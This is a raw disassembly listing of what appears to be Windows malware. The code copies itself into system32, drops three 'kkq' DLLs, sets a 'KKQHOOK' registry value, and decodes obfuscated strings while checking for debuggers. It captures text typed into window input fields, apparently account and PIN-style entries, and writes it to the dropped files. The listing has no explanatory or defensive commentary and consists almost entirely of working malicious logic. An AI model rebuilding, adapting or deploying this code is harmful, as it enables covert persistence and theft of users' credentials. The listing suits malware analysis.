sub_40129C lea edi, [ebp+var_2D] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_270] push edi call sub_40C6B0 push 0 lea eax, [ebp+var_270] push eax lea eax, [ebp+var_45C] push eax call sub_40C284 ; CopyFileA call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_2D] push eax call sub_403D6F lea edi, [ebp+var_799] lea esi, a82q0vu ; "82Q0vu " movsd movsd mov [ebp+var_5C], 1Ch push 4 push 4 lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015C0 add esp, 34h push 0 lea eax, [ebp+var_270] push eax call sub_40C3A4 ; WinExec mov [ebp+var_272], 2CCAh sub [ebp+var_272], 6825h call sub_4042A4 call sub_40C224 ; GetVersion mov eax, 13h sub eax, dword_43B098 push eax call sub_40C164 ; ExitProcess call sub_40C1B8 ; RtlGetLastWin32Error loc_40A848: ; CODE XREF: sub_40A4E2+1E3j push 5 push offset aGmG ; "Õƒ¬Õƒ" call sub_40129C push offset aKkq32_dll ; "kkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_41EAD0 call sub_40C6B0 call sub_40C194 ; GetCurrentThreadId push 5 push offset aGmG ; "Õƒ¬Õƒ" call sub_40129C push offset aDnkkq_dll ; "dnkkq.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40F1F0 call sub_40C6B0 push 5 push offset aGmG ; "Õƒ¬Õƒ" call sub_40129C push offset aDatkkq32_dll ; "datkkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40DFD0 call sub_40C6B0 lea edi, [ebp+var_79A] lea esi, byte_445A3B xor ecx, ecx inc ecx rep movsb push 0FFh push offset dword_413CB0 call sub_40C248 ; GetWindowsDirectoryA lea edi, [ebp+var_7A0] lea esi, aDsh_i ; "DSH.i" mov ecx, 3 rep movsw push 9 push offset aMtqqdGig ; "¬’ŸŸ„Þƒ‰ƒ" call sub_40129C push eax push offset dword_413CB0 call sub_40C6D4 call sub_40C2B4 ; IsDebuggerPresent lea eax, aKkqhook ; "KKQHOOK" mov [ebp+var_31], eax mov [ebp+var_273], 82h movzx eax, [ebp+var_273] imul eax, 3CB4h mov [ebp+var_273], al mov eax, ds:dword_41D928 mov [ebp+var_45], eax lea eax, sub_40ADF7 mov [ebp+var_51], eax push 7F00h push 0 call sub_40C440 ; LoadCursorA mov [ebp+var_3D], eax lea edi, [ebp+var_7A3] lea esi, aX_ ; "X." mov ecx, 3 rep movsb push 7F03h push 0 call sub_40C44C ; LoadIconA mov [ebp+var_41], eax and [ebp+var_35], 0 push 0 call sub_40C548 ; GetStockObject mov [ebp+var_39], eax mov [ebp+var_55], 3 and [ebp+var_4D], 0 and [ebp+var_49], 0 lea eax, [ebp+var_55] push eax call sub_40C464 ; RegisterClassA call sub_40C188 ; GetCurrentProcessId push 0 push ds:dword_41D928 push 0 push 0 push 0 push 0 push 0 push 0 push 0CA0000h push offset aKkqhook ; "KKQHOOK" push offset aKkqhook ; "KKQHOOK" push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_41B7D0, eax call sub_40C188 ; GetCurrentProcessId push offset aKkqhook_28 ; "KKQHOOK_28" push 0 push 0 call sub_40C344 ; CreateMutexA lea edi, [ebp+var_7A8] lea esi, aGp ; "%gp&" mov ecx, 5 rep movsb push 2 call sub_402B12 add esp, 5Ch mov [ebp+var_274], 0C8h movzx eax, [ebp+var_274] imul eax, 783h mov [ebp+var_274], al call sub_40C224 ; GetVersion cmp eax, 80000000h jb short loc_40AA6E lea edi, [ebp+var_7B9] lea esi, byte_445A4A xor ecx, ecx inc ecx rep movsb push 0Ch push offset aIxvuxF ; "›•‚ž•œÃÂÞ”œœ" call sub_40129C push eax call sub_40C1D0 ; GetModuleHandleA mov edi, eax push 16h push offset aVxcsgdxvgxvjsu ; "¢•—™ƒ„•‚£•‚†™“• ‚Ÿ“•ƒƒ" call sub_40129C add esp, 10h push eax push edi call sub_40C1E8 ; GetProcAddress mov [ebp+var_7B8], eax call sub_40C188 ; GetCurrentProcessId mov edi, 13h sub edi, dword_43B098 push edi push eax call [ebp+var_7B8] loc_40AA6E: ; CODE XREF: sub_40A4E2+531j lea edi, [ebp+var_7AB] lea esi, aF ; " F" mov ecx, 3 rep movsb push 104h lea eax, [ebp+var_568] push eax push 0 call sub_40C1C4 ; GetModuleFileNameA lea eax, [ebp+var_568] push eax call sub_40352B mov [ebp+var_276], 2E77h movzx eax, [ebp+var_276] imul eax, 7ED2h mov [ebp+var_276], ax push offset dword_41EAD0 call sub_40352B mov [ebp+var_27C], 17Ah add [ebp+var_27C], 7251h push offset dword_40F1F0 call sub_40352B push offset dword_40DFD0 call sub_40352B call sub_40C2B4 ; IsDebuggerPresent call sub_40C188 ; GetCurrentProcessId push eax call sub_4037D7 lea eax, [ebp+var_2E0] push eax call sub_403AC7 call sub_40C2B4 ; IsDebuggerPresent and [ebp+var_348], 0 mov [ebp+var_34C], 64h mov [ebp+var_350], 5178h inc [ebp+var_350] push 45h push offset aGqcdzsvxmSuv_0 ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ¬³…‚‚•ž„¦•‚ƒ™"... call sub_40129C lea edi, [ebp+var_348] push edi lea edi, [ebp+var_34C] push edi lea edi, [ebp+var_344] push edi lea edi, [ebp+var_2E0] push edi push eax push 80000002h call sub_4014AA push 1 push offset asc_445B3F ; "»" call sub_40129C push eax lea edi, [ebp+var_344] push edi call sub_4038D6 lea edi, [ebp+var_7B0] lea esi, aO?gv ; "O?g‚" mov ecx, 5 rep movsb push 1 push offset aJ ; "¦" call sub_40129C push eax lea edi, [ebp+var_2E0] push edi call sub_4038D6 call sub_40C1B8 ; RtlGetLastWin32Error push 17h push offset aGMGmUavqugxvjx ; "³¼£¹´¬Õƒ¬¹ž ‚Ÿ“£•‚†•‚ÃÂ" call sub_40129C lea edi, [ebp+var_344] push edi push eax lea edi, [ebp+var_766] push edi call sub_40C6B0 lea eax, [ebp+var_348] push eax lea eax, [ebp+var_34C] push eax lea eax, [ebp+var_667] push eax push 0 lea eax, [ebp+var_766] push eax push 80000000h call sub_4014AA mov [ebp+var_5D], 5Eh movzx eax, [ebp+var_5D] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5D], al lea eax, [ebp+var_667] push eax call sub_40352B call sub_40C1F4 ; GetProcessHeap call sub_403BAD mov [ebp+var_352], 748Ah inc [ebp+var_352] push offset sub_4081B0 call sub_408043 add esp, 8Ch mov ebx, 641Ch mov eax, ebx add eax, ebx mov ebx, eax lea eax, [ebp+var_7B4] push eax push 0 push 0 push offset sub_4096E4 push 0 push 0 call sub_40C3D4 ; CreateThread push eax call sub_40C1DC ; CloseHandle call sub_40C218 ; GetTickCount push 0 mov eax, dword_43B094 add eax, 1EDh push eax mov eax, 13h sub eax, dword_43B098 push eax push ds:dword_41B7D0 call sub_40C458 ; SetTimer jmp short loc_40ACBB ; --------------------------------------------------------------------------- loc_40AC92: ; CODE XREF: sub_40A4E2+7EAj mov ax, word_445A53 mov word ptr [ebp+var_7B8+2], ax lea eax, [ebp+var_1D] push eax call sub_40C4C4 ; TranslateMessage call sub_40C224 ; GetVersion lea eax, [ebp+var_1D] push eax call sub_40C4D0 ; DispatchMessageA call sub_40C218 ; GetTickCount loc_40ACBB: ; CODE XREF: sub_40A4E2+7AEj push 0 push 0 push 0 lea eax, [ebp+var_1D] push eax call sub_40C47C ; GetMessageA or eax, eax jnz short loc_40AC92 pop edi pop esi pop ebx leave retn 10h sub_40A4E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACD5 proc near ; DATA XREF: sub_408C98+95Do ; sub_408C98+98Fo ... var_18 = byte ptr -18h var_12 = word ptr -12h var_9 = byte ptr -9 var_8 = word ptr -8 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C1B8 ; RtlGetLastWin32Error mov eax, [ebp+arg_4] cmp eax, 100h jz short loc_40ACF7 jmp short loc_40AD66 ; --------------------------------------------------------------------------- call sub_40C224 ; GetVersion loc_40ACF7: ; CODE XREF: sub_40ACD5+19j cmp [ebp+arg_8], 9 jnz short loc_40AD66 cmp ebx, ds:dword_41076C jnz short loc_40AD10 push ds:dword_431E90 call sub_40C428 ; SetFocus loc_40AD10: ; CODE XREF: sub_40ACD5+2Ej lea edi, [ebp+var_18] lea esi, aLwld ; "lwld%" mov ecx, 3 rep movsw cmp ebx, ds:dword_431E90 jnz short loc_40AD34 push ds:dword_41D920 call sub_40C428 ; SetFocus loc_40AD34: ; CODE XREF: sub_40ACD5+52j mov [ebp+var_12], 4C4Ah sub [ebp+var_12], 1DDAh cmp ebx, ds:dword_41D920 jnz short loc_40AD53 push ds:dword_41D918 call sub_40C428 ; SetFocus loc_40AD53: ; CODE XREF: sub_40ACD5+71j cmp ebx, ds:dword_41D918 jnz short loc_40AD66 push ds:dword_431E90 call sub_40C428 ; SetFocus loc_40AD66: ; CODE XREF: sub_40ACD5+1Bj ; sub_40ACD5+26j ... and [ebp+var_4], 0 cmp ebx, ds:dword_431E90 jnz short loc_40AD7A mov eax, ds:dword_41EAC4 mov [ebp+var_4], eax loc_40AD7A: ; CODE XREF: sub_40ACD5+9Bj lea edi, [ebp+var_9] lea esi, byte_445A5B xor ecx, ecx inc ecx rep movsb cmp ebx, ds:dword_41D920 jnz short loc_40AD98 mov eax, ds:dword_41D91C mov [ebp+var_4], eax loc_40AD98: ; CODE XREF: sub_40ACD5+B9j mov [ebp+var_5], 67h add [ebp+var_5], 1 cmp ebx, ds:dword_41076C jnz short loc_40ADB0 mov eax, ds:dword_40DFBC mov [ebp+var_4], eax loc_40ADB0: ; CODE XREF: sub_40ACD5+D1j mov [ebp+var_8], 6975h add [ebp+var_8], 5422h cmp ebx, ds:dword_41D918 jnz short loc_40ADCC mov eax, ds:dword_413C94 mov [ebp+var_4], eax loc_40ADCC: ; CODE XREF: sub_40ACD5+EDj call sub_40C2B4 ; IsDebuggerPresent cmp [ebp+var_4], 0 jz short loc_40ADEB push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx push [ebp+var_4] call sub_40C53C ; CallWindowProcA jmp short loc_40ADF0 ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ACD5+100j call sub_40C188 ; GetCurrentProcessId loc_40ADF0: ; CODE XREF: sub_40ACD5+114j pop edi pop esi pop ebx leave retn 10h sub_40ACD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADF7 proc near ; DATA XREF: sub_40A4E2+449o var_26B = byte ptr -26Bh var_26A = dword ptr -26Ah var_266 = dword ptr -266h var_262 = dword ptr -262h var_25E = dword ptr -25Eh var_25A = dword ptr -25Ah var_256 = dword ptr -256h var_252 = dword ptr -252h var_24E = dword ptr -24Eh var_24A = byte ptr -24Ah var_249 = byte ptr -249h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_237 = byte ptr -237h var_138 = byte ptr -138h var_133 = byte ptr -133h var_12D = byte ptr -12Dh var_126 = dword ptr -126h var_122 = dword ptr -122h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_112 = word ptr -112h var_110 = word ptr -110h var_10D = byte ptr -10Dh var_10C = dword ptr -10Ch var_106 = word ptr -106h var_103 = byte ptr -103h var_102 = byte ptr -102h var_101 = byte ptr -101h var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi mov ax, word_445A5C mov [ebp+var_2], ax mov eax, [ebp+arg_4] cmp eax, 10h jz loc_40AFEC jg short loc_40AE29 cmp eax, 2 jz loc_40AFD2 jmp loc_40B66D ; --------------------------------------------------------------------------- loc_40AE29: ; CODE XREF: sub_40ADF7+22j cmp eax, 111h jz loc_40B0DC cmp eax, 113h jz short loc_40AE5B cmp eax, 111h jl loc_40B66D cmp eax, 138h jz loc_40B008 jmp loc_40B66D ; --------------------------------------------------------------------------- call sub_40C194 ; GetCurrentThreadId loc_40AE5B: ; CODE XREF: sub_40ADF7+42j call sub_40C194 ; GetCurrentThreadId cmp dword_43B218, 0 jz loc_40AF71 call sub_40C218 ; GetTickCount push 9 push offset aQuTXud ; "´Ÿ“¿’š•“„" call sub_40129C push eax push dword_43B218 call sub_408BEF mov [ebp+var_240], eax push 8 push offset aIaQvxv ; "µˆ€œŸ‚•‚" call sub_40129C push eax push [ebp+var_240] call sub_408BEF add esp, 20h mov [ebp+var_244], eax lea edi, [ebp+var_24A] lea esi, aE_2 ; "~ E- " mov ecx, 3 rep movsw lea eax, [ebp+var_25A] push eax push [ebp+var_244] call sub_40C3F8 ; GetWindowRect or eax, eax jz loc_40AF71 call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_26A] push eax push ds:dword_41EBD4 call sub_40C3F8 ; GetWindowRect or eax, eax jz short loc_40AF71 mov eax, [ebp+var_252] sub eax, [ebp+var_25A] sub eax, 4 mov edx, [ebp+var_262] sub edx, [ebp+var_26A] cmp eax, edx jnz short loc_40AF38 mov eax, [ebp+var_24E] sub eax, [ebp+var_256] sub eax, 4 mov edx, [ebp+var_25E] sub edx, [ebp+var_266] cmp eax, edx jz short loc_40AF71 loc_40AF38: ; CODE XREF: sub_40ADF7+120j mov [ebp+var_26B], 28h add [ebp+var_26B], 6Ah push 1 mov eax, [ebp+var_24E] sub eax, [ebp+var_256] push eax mov eax, [ebp+var_252] sub eax, [ebp+var_25A] push eax push 0 push 0 push ds:dword_41EBD4 call sub_40C524 ; MoveWindow loc_40AF71: ; CODE XREF: sub_40ADF7+70j ; sub_40ADF7+E2j ... cmp dword_43B214, 0 jz loc_40B685 lea edi, [ebp+var_249] lea esi, aZmm ; "ZmM&" mov ecx, 5 rep movsb mov eax, dword_43B214 mov dword_43B218, eax mov [ebp+var_240], 87Eh sub [ebp+var_240], 23C2h and dword_43B214, 0 push eax call sub_408C98 pop ecx mov [ebp+var_244], 2DE6h inc [ebp+var_244] jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40AFD2: ; CODE XREF: sub_40ADF7+27j mov eax, ds:dword_41B7D0 cmp [ebp+arg_0], eax jnz loc_40B685 push 0 call sub_40C4F4 ; PostQuitMessage jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40AFEC: ; CODE XREF: sub_40ADF7+1Cj mov eax, ds:dword_41B7D0 cmp [ebp+arg_0], eax jnz short loc_40AFFE push [ebp+arg_0] call sub_40C518 ; DestroyWindow loc_40AFFE: ; CODE XREF: sub_40ADF7+1FDj call sub_40C1B8 ; RtlGetLastWin32Error jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40B008: ; CODE XREF: sub_40ADF7+54j mov eax, [ebp+arg_C] mov [ebp+var_11C], eax cmp eax, ds:dword_431E88 jz short loc_40B045 cmp eax, ds:dword_413C98 jz short loc_40B045 cmp eax, ds:dword_41A6B4 jz short loc_40B045 cmp eax, ds:dword_434148 jz short loc_40B045 cmp eax, ds:dword_431E8C jz short loc_40B045 cmp eax, ds:dword_43937C jnz loc_40B685 loc_40B045: ; CODE XREF: sub_40ADF7+220j ; sub_40ADF7+228j ... call sub_40C218 ; GetTickCount mov eax, [ebp+var_11C] cmp eax, ds:dword_431E8C jz short loc_40B060 cmp eax, ds:dword_43937C jnz short loc_40B06F loc_40B060: ; CODE XREF: sub_40ADF7+25Fj push 1010B0h push [ebp+arg_8] call sub_40C560 ; SetTextColor jmp short loc_40B079 ; --------------------------------------------------------------------------- loc_40B06F: ; CODE XREF: sub_40ADF7+267j push 0 push [ebp+arg_8] call sub_40C560 ; SetTextColor loc_40B079: ; CODE XREF: sub_40ADF7+276j mov byte ptr [ebp+var_240+3], 68h sub byte ptr [ebp+var_240+3], 8Fh push 0FFFFFFh push [ebp+arg_8] call sub_40C554 ; SetBkColor mov byte ptr [ebp+var_240+2], 0CEh add byte ptr [ebp+var_240+2], 93h and [ebp+var_252+2], 0 and [ebp+var_24E+2], 0 lea eax, [ebp+var_252+2] push eax call sub_40C56C ; CreateBrushIndirect mov [ebp+var_244], eax call sub_40C188 ; GetCurrentProcessId mov eax, [ebp+var_244] jmp loc_40B685 ; --------------------------------------------------------------------------- call sub_40C188 ; GetCurrentProcessId jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40B0DC: ; CODE XREF: sub_40ADF7+37j mov ax, word_445A69 mov [ebp+var_11E], ax push 2 push offset aG ; "Õƒ" call sub_40129C push offset byte_432F80 push eax lea edi, [ebp+var_237] push edi call sub_40C6B0 add esp, 14h call sub_40C188 ; GetCurrentProcessId push 0FFh lea eax, [ebp+var_101] push eax push ds:dword_431E90 call sub_40C3EC ; GetWindowTextA call sub_40C188 ; GetCurrentProcessId cmp [ebp+var_101], 0 jnz short loc_40B190 mov [ebp+var_240], 7D06h add [ebp+var_240], 5863h push 1Fh push offset aAXsgxGxXudIasv ; " œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ½Ÿž„˜" call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40C470 ; MessageBoxA push ds:dword_431E90 call sub_40C428 ; SetFocus mov word ptr [ebp+var_244+2], 0B5h movzx eax, word ptr [ebp+var_244+2] imul eax, 0C2Fh mov word ptr [ebp+var_244+2], ax jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40B190: ; CODE XREF: sub_40ADF7+33Bj push 5 push offset aGG_1 ; "ÕƒÐÕƒ" call sub_40129C lea edi, [ebp+var_101] push edi lea edi, [ebp+var_237] push edi push eax lea edi, [ebp+var_237] push edi call sub_40C6B0 add esp, 18h mov [ebp+var_106], 5E8Eh movzx eax, [ebp+var_106] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_106], ax push 0FFh lea eax, [ebp+var_101] push eax push ds:dword_41D920 call sub_40C3EC ; GetWindowTextA call sub_40C188 ; GetCurrentProcessId cmp [ebp+var_101], 0 jnz short loc_40B24B mov [ebp+var_240], 2605h inc [ebp+var_240] push 1Eh push offset aAXsgxGxXudIa_0 ; " œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ©•‘‚" call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40C470 ; MessageBoxA mov [ebp+var_244], 3322h sub [ebp+var_244], 4451h push ds:dword_41D920 call sub_40C428 ; SetFocus jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40B24B: ; CODE XREF: sub_40ADF7+403j push 5 push offset aGG_2 ; "ÕƒÝÕƒ" call sub_40129C lea edi, [ebp+var_101] push edi lea edi, [ebp+var_237] push edi push eax lea edi, [ebp+var_237] push edi call sub_40C6B0 add esp, 18h push 0FFh lea eax, [ebp+var_101] push eax push ds:dword_41D918 call sub_40C3EC ; GetWindowTextA call sub_40C2B4 ; IsDebuggerPresent cmp [ebp+var_101], 0 jz loc_40B3E9 mov [ebp+var_10C], 6C42h inc [ebp+var_10C] lea ecx, [ebp+var_101] or eax, 0FFFFFFFFh loc_40B2B7: ; CODE XREF: sub_40ADF7+4C5j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B2B7 cmp eax, 4 jb loc_40B3E9 mov [ebp+var_10D], 19h sub [ebp+var_10D], 84h mov [ebp+var_103], 0 jmp short loc_40B300 ; --------------------------------------------------------------------------- loc_40B2DE: ; CODE XREF: sub_40ADF7+522j movzx eax, [ebp+var_103] mov al, [ebp+eax+var_101] cmp al, 30h jl short loc_40B2F4 cmp al, 39h jle short loc_40B2F9 loc_40B2F4: ; CODE XREF: sub_40ADF7+4F7j jmp loc_40B3E9 ; --------------------------------------------------------------------------- loc_40B2F9: ; CODE XREF: sub_40ADF7+4FBj add [ebp+var_103], 1 loc_40B300: ; CODE XREF: sub_40ADF7+4E5j lea ecx, [ebp+var_101] or eax, 0FFFFFFFFh loc_40B309: ; CODE XREF: sub_40ADF7+517j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B309 movzx esi, [ebp+var_103] cmp esi, eax jb short loc_40B2DE mov eax, dword_445A6B mov [ebp+var_122], eax mov [ebp+var_102], 0 jmp loc_40B3C8 ; --------------------------------------------------------------------------- loc_40B332: ; CODE XREF: sub_40ADF7+5EAj mov word ptr [ebp+var_240], 342Dh inc word ptr [ebp+var_240] mov byte ptr [ebp+var_244+3], 59h add byte ptr [ebp+var_244+3], 0D3h mov al, [ebp+var_102] mov byte ptr [ebp+var_240+3], al jmp short loc_40B387 ; --------------------------------------------------------------------------- loc_40B35E: ; CODE XREF: sub_40ADF7+5A9j movzx eax, byte ptr [ebp+var_240+3] movsx eax, [ebp+eax+var_101] movzx edx, [ebp+var_102] movsx edx, [ebp+edx+var_101] cmp eax, edx jnz short loc_40B3A2 add byte ptr [ebp+var_240+3], 1 loc_40B387: ; CODE XREF: sub_40ADF7+565j lea ecx, [ebp+var_101] or eax, 0FFFFFFFFh loc_40B390: ; CODE XREF: sub_40ADF7+59Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B390 movzx esi, byte ptr [ebp+var_240+3] cmp esi, eax jb short loc_40B35E loc_40B3A2: ; CODE XREF: sub_40ADF7+587j call sub_40C224 ; GetVersion movzx eax, byte ptr [ebp+var_240+3] movzx edx, [ebp+var_102] sub eax, edx cmp eax, 3 jg short loc_40B3E9 call sub_40C1F4 ; GetProcessHeap add [ebp+var_102], 1 loc_40B3C8: ; CODE XREF: sub_40ADF7+536j lea ecx, [ebp+var_101] or eax, 0FFFFFFFFh loc_40B3D1: ; CODE XREF: sub_40ADF7+5DFj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B3D1 movzx esi, [ebp+var_102] cmp esi, eax jb loc_40B332 jmp short loc_40B452 ; --------------------------------------------------------------------------- loc_40B3E9: ; CODE XREF: sub_40ADF7+4A1j ; sub_40ADF7+4CAj ... mov eax, dword_43B094 add eax, 7C9h push eax call sub_40C638 push 35h push offset aEustXDqSedsq_0 ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•ÐÝй¾³¿¢¢µ³¤Ð ¹¾ÞÐ œ"... call sub_40129C mov [ebp+var_240], eax push 13h push offset aEustXDqSedsq_1 ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•" call sub_40129C add esp, 14h push 0 push eax mov edi, [ebp+var_240] push edi push 0 call sub_40C470 ; MessageBoxA call sub_40C188 ; GetCurrentProcessId push ds:dword_41D918 call sub_40C428 ; SetFocus mov [ebp+var_110], 1277h sub [ebp+var_110], 3172h jmp loc_40B685 ; --------------------------------------------------------------------------- loc_40B452: ; CODE XREF: sub_40ADF7+5F0j push 5 push offset aGG_1 ; "ÕƒÐÕƒ" call sub_40129C lea edi, [ebp+var_101] push edi lea edi, [ebp+var_237] push edi push eax lea edi, [ebp+var_237] push edi call sub_40C6B0 add esp, 18h mov eax, dword_445A6F mov [ebp+var_126], eax push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_41EAD0 call sub_40C2FC ; CreateFileA mov [ebp+var_118], eax call sub_40C1B8 ; RtlGetLastWin32Error push 2 push 0 push 0 push [ebp+var_118] call sub_40C32C ; SetFilePointer lea edi, [ebp+var_12D] lea esi, aFna@ ; "FnA@ :" mov ecx, 7 rep movsb lea ecx, [ebp+var_237] or eax, 0FFFFFFFFh loc_40B4D8: ; CODE XREF: sub_40ADF7+6E6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B4D8 push 0 lea esi, [ebp+var_23C] push esi push eax lea edi, [ebp+var_237] push edi push [ebp+var_118] call sub_40C3B0 ; WriteFile mov [ebp+var_112], 529Ah movzx eax, [ebp+var_112] imul eax, 37Dh mov [ebp+var_112], ax push 2 push offset word_445A8A call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_23C] push edi mov edi, 14h sub edi, dword_43B098 push edi push eax push [ebp+var_118] call sub_40C3B0 ; WriteFile call sub_40C2B4 ; IsDebuggerPresent push [ebp+var_118] call sub_40C1DC ; CloseHandle lea edi, [ebp+var_133] lea esi, a2z ; "<2Z !" mov ecx, 6 rep movsb push ds:dword_41EBD4 call sub_40C518 ; DestroyWindow mov [ebp+var_113], 2Eh movzx eax, [ebp+var_113] imul eax, 3E50h mov [ebp+var_113], al push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40F1F0 call sub_40C2FC ; CreateFileA mov [ebp+var_118], eax call sub_40C188 ; GetCurrentProcessId push 2 push 0 push 0 push [ebp+var_118] call sub_40C32C ; SetFilePointer mov [ebp+var_114], 0F2h movzx eax, [ebp+var_114] imul eax, 31E1h mov [ebp+var_114], al lea ecx, byte_432F80 or eax, 0FFFFFFFFh loc_40B5E8: ; CODE XREF: sub_40ADF7+7F6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B5E8 mov edi, eax push 0 lea esi, [ebp+var_23C] push esi push edi push offset byte_432F80 push [ebp+var_118] call sub_40C3B0 ; WriteFile call sub_40C224 ; GetVersion push 1 push offset byte_445A88 call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_23C] push edi mov edi, 8 sub edi, dword_43B094 push edi push eax push [ebp+var_118] call sub_40C3B0 ; WriteFile push [ebp+var_118] call sub_40C1DC ; CloseHandle lea edi, [ebp+var_138] lea esi, aCFw ; "C-FW" mov ecx, 5 rep movsb push 5 push ds:dword_41C844 call sub_40C500 ; ShowWindow jmp short loc_40B685 ; --------------------------------------------------------------------------- loc_40B66D: ; CODE XREF: sub_40ADF7+2Dj ; sub_40ADF7+49j ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C530 ; DefWindowProcA jmp short loc_40B685 ; --------------------------------------------------------------------------- call sub_40C2B4 ; IsDebuggerPresent loc_40B685: ; CODE XREF: sub_40ADF7+181j ; sub_40ADF7+1D6j ... pop edi pop esi pop ebx leave retn 10h sub_40ADF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B68C proc near ; CODE XREF: sub_406E3F+1Ap ; sub_406E3F+2Fp jmp ds:dword_447340 sub_40B68C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B698 proc near ; CODE XREF: sub_405409+C8p jmp ds:dword_44734C sub_40B698 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B6A4 proc near ; CODE XREF: sub_405409+16Ep jmp ds:dword_447350 sub_40B6A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B6B0 proc near ; CODE XREF: sub_406A44+75p jmp ds:dword_44735C sub_40B6B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B6BC proc near ; CODE XREF: sub_406A44+4Ap jmp ds:dword_447360 sub_40B6BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B6C8 proc near ; CODE XREF: sub_406A44+37p jmp ds:dword_447364 sub_40B6C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B6D4 proc near ; CODE XREF: sub_4069C8+61p jmp ds:dword_447368 sub_40B6D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6E0 proc near ; CODE XREF: sub_408886+23p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha cld mov edi, [ebp+arg_4] mov eax, 1 stosd mov ecx, 0Fh dec eax rep stosd lea edi, dword_446AB4 mov esi, [ebp+arg_0] mov ecx, 10h rep movsd mov edi, [ebp+arg_8] call sub_40B7AB xor edx, edx loc_40B710: ; CODE XREF: sub_40B6E0+52j push edx push ebx mov eax, [ebp+arg_8] bt [eax], edx jnb short loc_40B722 mov edx, [ebp+arg_4] call sub_40B73C loc_40B722: ; CODE XREF: sub_40B6E0+38j lea edx, dword_446AB4 call sub_40B73C pop ebx pop edx inc edx cmp edx, ebx jbe short loc_40B710 popa pop ebp retn 10h sub_40B6E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40B73C proc near ; CODE XREF: sub_40B6E0+3Dp ; sub_40B6E0+48p lea edi, dword_446A74 mov ecx, 10h xor eax, eax rep stosd lea edi, dword_446AB4 call sub_40B7AB loc_40B756: ; CODE XREF: sub_40B73C+5Dj lea edi, dword_446A74 mov ecx, 10h xor eax, eax loc_40B763: ; CODE XREF: sub_40B73C+2Cj rcl dword ptr [edi], 1 lea edi, [edi+4] loop loc_40B763 call sub_40B7BC bt dword_446AB4, ebx jnb short loc_40B798 mov esi, edx lea edi, dword_446A74 xor eax, eax mov ecx, 10h loc_40B787: ; CODE XREF: sub_40B73C+55j mov eax, [esi] adc [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40B787 call sub_40B7BC loc_40B798: ; CODE XREF: sub_40B73C+3Aj dec ebx jns short loc_40B756 mov edi, edx lea esi, dword_446A74 mov ecx, 10h rep movsd retn sub_40B73C 